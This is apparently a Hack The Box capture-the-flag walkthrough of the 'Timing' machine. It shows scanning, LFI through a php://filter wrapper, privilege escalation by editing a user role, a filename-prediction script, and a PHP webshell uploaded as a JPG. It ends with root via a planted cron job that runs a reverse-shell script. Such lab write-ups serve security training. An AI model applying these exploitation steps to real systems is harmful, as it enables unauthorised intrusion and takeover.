We always start with an nmap scan…..
nmap -p- --min-rate 10000 -oA nmap/allports -v IP
# Nmap 7.91 scan initiated Thu Dec 30 21:36:12 2021 as: nmap -p- --min-rate 10000 -oA nmap/allports -v 10.10.11.135
Increasing send delay for 10.10.11.135 from 5 to 10 due to 22 out of 72 dropped probes since last increase.
Increasing send delay for 10.10.11.135 from 20 to 40 due to 16 out of 51 dropped probes since last increase.
Increasing send delay for 10.10.11.135 from 160 to 320 due to 42 out of 139 dropped probes since last increase.
Increasing send delay for 10.10.11.135 from 320 to 640 due to 11 out of 11 dropped probes since last increase.
Increasing send delay for 10.10.11.135 from 640 to 1000 due to 11 out of 11 dropped probes since last increase.
Warning: 10.10.11.135 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.135
Host is up (0.22s latency).
Not shown: 63014 filtered ports, 2519 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
# Nmap done at Thu Dec 30 21:39:01 2021 -- 1 IP address (1 host up) scanned in 168.93 seconds
We have two open ports let confirm what we have running with service detection and default nmap scripts.
nmap -sC -sV -oA nmap/normal -p 22,80 IP
# Nmap 7.91 scan initiated Thu Dec 30 21:39:04 2021 as: nmap -sC -sV -oA nmap/normal -p 22,80 10.10.11.135
Nmap scan report for 10.10.11.135
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
| 256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_ 256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Simple WebApp
|_Requested resource was ./login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 30 21:39:22 2021 -- 1 IP address (1 host up) scanned in 17.81 seconds
You can see it flashy now lol so without wasting to much of time let start diggng in make sure to add 10.10.11.135 timing.htb
to your host file.
Simple WebApp interesting and we have a login page before coming back to try some default credentials let keep gobuster running in the background.
┌──(muzec㉿Muzec-Security)-[~/Documents/HTB/10.10.11.135]
└─$ gobuster dir -u http://timing.htb/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x txt,php,html,bak,sh -o gobuster.req
/images (Status: 301) [Size: 309] [--> http://timing.htb/images/]
/index.php (Status: 302) [Size: 0] [--> ./login.php]
/login.php (Status: 200) [Size: 5609]
/profile.php (Status: 302) [Size: 0] [--> ./login.php]
/image.php (Status: 200) [Size: 0]
/header.php (Status: 302) [Size: 0] [--> ./login.php]
/footer.php (Status: 200) [Size: 3937]
/upload.php (Status: 302) [Size: 0] [--> ./login.php]
Now it getting interesting but i notice something strange you can see it also right image.php
size seems empty possible LFI or RCE
let confirm it.
Yes i know it blank let burst for some parametes.
┌──(muzec㉿Muzec-Security)-[~/Documents/HTB/10.10.11.135]
└─$ ffuf -c -ic -r -u 'http://timing.htb/image.php?FUZZ=../../../../../../../etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 0
img [Status: 200, Size: 25, Words: 3, Lines: 1]
:: Progress: [4681/4681] :: Job [1/1] :: 93 req/sec :: Duration: [0:00:49] :: Errors: 0 ::
Boom we found one parameter i told you it LFI
let confirm it now by reading the passwd file from the system.
But when i try to i got blocked which is interesting let try some bypass.
Boom the php wrapper worked and we got the passwd file let try to decode it.
Now back to the login page let try and see if we can get the credentials from the login.php
.
But nothing man let check db_conn.php
and see.
Boom a credentials but when i try it i got no luck also with some default usernames but nothing if we can recall i think we got some usernames on the passwd file let try it.
Boom we got in using;
username:- aaron
password:- aaron
Now that we have access going back to our gobuster result i think we found upload.php
but when i ty to access it i got redirected to index.php
let try using the LFI
we got to read the page source code of upload.php
.
Upload.php Source Code
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
Seems it can only be accessible by admin which we are not yet let check profile.php
source code also.
Profile.php Source Code
<?php
include_once "header.php";
include_once "db_conn.php";
$id = $_SESSION['userid'];
// fetch updated user
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();
?>
<script src="js/profile.js"></script>
<div class="container bootstrap snippets bootdey">
<div class="alert alert-success" id="alert-profile-update" style="display: none">
<strong>Success!</strong> Profile was updated.
</div>
<h1 class="text-primary"><span class="glyphicon glyphicon-user"></span>Edit Profile</h1>
<hr>
<div class="row">
<!-- left column -->
<div class="col-md-1">
</div>
<!-- edit form column -->
<div class="col-md-9 personal-info">
<h3>Personal info</h3>
<form class="form-horizontal" role="form" id="editForm" action="#" method="POST">
<div class="form-group">
<label class="col-lg-3 control-label">First name:</label>
<div class="col-lg-8">
<input class="form-control" type="text" name="firstName" id="firstName"
value="<?php if (!empty($user['firstName'])) echo $user['firstName']; ?>">
</div>
</div>
<div class="form-group">
<label class="col-lg-3 control-label">Last name:</label>
<div class="col-lg-8">
<input class="form-control" type="text" name="lastName" id="lastName"
value="<?php if (!empty($user['lastName'])) echo $user['lastName']; ?>">
</div>
</div>
<div class="form-group">
<label class="col-lg-3 control-label">Company:</label>
<div class="col-lg-8">
<input class="form-control" type="text" name="company" id="company"
value="<?php if (!empty($user['company'])) echo $user['company']; ?>">
</div>
</div>
<div class="form-group">
<label class="col-lg-3 control-label">Email:</label>
<div class="col-lg-8">
<input class="form-control" type="text" name="email" id="email"
value="<?php if (!empty($user['email'])) echo $user['email']; ?>">
</div>
</div>
<div class="container">
<div class="row">
<div class="col-md-9 bg-light text-right">
<button type="button" onclick="updateProfile()" class="btn btn-primary">
Update
</button>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
<hr>
<?php
include_once "footer.php";
?>
Now that is interesting i can see a role form but when i check http://timing.htb/profile.php
the role form is missing but for the rest which are present.
I quickly fire on my burp suite to intercept the request and send to repeater.
Damn that is some bad practice we can see everything also the password hash and the role and id etc seems we can see the role in the source code of the profile.php
that mean it possible to update the role let hit it.
Boom and we can see the role change to 1
from 0
let refresh our page to confirm if we have access to the admin dashboard.
Boom we are good now we have access to the admin panel and we have an upload page.
I quickly try to upload a php file to get a reverse shell but it was a dead end i got error.
Ahhhhhhhhhh let check the upload.php
source code which we got with the LFI
.
http://timing.htb/image.php?img=php://filter/convert.base64-encode/resource=upload.php
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
Now let me break the php code below down to make it more clear to you bruhh don’t worry i know you are reading i got you man.
$upload_dir = "images/uploads/"; /// We Know that the upload directory anything we upload got store there
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
We all know all file has a special md5 hash right so our file got uploaded and the file md5 hash would got use to rename our file and the time it got uploaded with the name we use to save our file last between it also check the image size.
if ($imageFileType != "jpg") {
$error = "This extension is not allowed."; //// We know now that only jpg file is allow to be uploaded
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
Surely if we upload a jpg file we should get oue file uploaded without no error.
Uploaded but we know our file has been rename so we can’t access it with shell.jpg
let confirm it.
Now you get what am talking about so let quickly write a php code that can help us with that but we need to get the time our file got uploaded first so let intercept it with burp suite.
Send to burp repeater.
Let send it and the file got uploaded and we have the date now let convert it to unix timestamp using cyberchef
.
Now let add the unix timestamp to our php code that we just wrote.
// save in a file name time.php //
<?php
$upload_dir = "images/uploads/";
$file = "minion.jpg";
while(true){
$file_name = md5('$file_hash'. 1641310558) . '_' . $file;
$target_file = $upload_dir . $file_name;
echo $file_name;
echo PHP_EOL;
sleep(1);
}
Now let run it to get the file name.
Boom we got it let confirm it now.
It perfection lol now that we can get the file name we uploaded let try to upload a php script which we can be use to execute a command we can chain it with the LFI
to access it so we can execute any command we want on the system also we notice upload page content-type is not being check on the header so we can change it to application/x-php
.
The one i use is https://github.com/WhiteWinterWolf/wwwolf-php-webshell/blob/master/webshell.php
i download it and rename it to shell.jpg
upload and intercept it.
I think you already know how to get the file name so it should be easy now let access it with the LFI
yes i know we are chaining it lol.
http://timing.htb/image.php?img=images/uploads/efa58f2dd075e9ffa77ee72e8d8408f2_shell.jpg
Boom now let try to execute a command.
Now we are good so i try some many thing to get a reverse shell back to my terminal but it was all dead end so i started enumerating manually lucky me i found a zip file under /opt
.
Interesting let get the zip file using the LFI
again i know you are tired but imagine the fun you are having now hehehehe.
http://timing.htb/image.php?img=php://filter/convert.base64-encode/resource=/opt/source-files-backup.zip
Now we just need to decode the base64 to file and we have the zip file easy right? .
Now let download it and unzip it.
Done seems it a backup files.
Let check if we miss any hidden folder with ls -la
.
Boom we have a .git
folder let check the logs.
We found another password let try using it on SSH with user aaron
.
Boom we are in and we have the user.txt
now time to get root let check sudo
and see.
interesting we can run sudo
on /usr/bin/netutils
let see what it does.
Seems we can use FTP
and HTTP
let try to download a file using the HTTP
but let keep pspy64
running to check the process.
Now let run it.
Interesting we can see a crontab is running but let confirm what /usr/bin/netutils
doest first.
Downloaded we also notice it use axel
to download the file A Command-Line File Download Accelerator for Linux
cool .
We also notice the file we download is own by root which mean on the other hand we have write access has root intersting but only if we have access to the folder so since we have no access to /root
folder so we can’t write to it but we have access to /etc
let see what we can do.
We can’t overwrite the passwd
file because it will just be rename to passwd.1
so not helpful let check the crons folders.
Let setup some old school cronjobs to run has root remember we have write access has root so i change directory to /tmp
let quickly write a one liner reverse shell in a bash script.
Save and quit let make it executable.
chmod +x shell.sh
Now back to our attacking machine to create a cronjob file.
# WARNING: The scripts is for a reverse shell by Muzec
# Notice: create the file you want to run in /tmp
# Notice: I create a simple one liner reverse shell
# with bash scripting.
# Reverse shell in 2min
*/2 * * * * root /tmp/shell.sh
Now let transfer it to the cron.d
folder with /usr/bin/netutils
.
Downloaded let confirm it and start our Ncat listener to get the shell when the cronjob run in 2 min.
Boom and we have root shell we are done.
NOTICE:- seems The profile_update.php
page form is vulnerable to sql injection also i was able to dump the database but hash credentials is not crackable.
Credentials database dumps below;
Always leave no stone unturned that is the way of a penetration tester.
Greeting From Muzec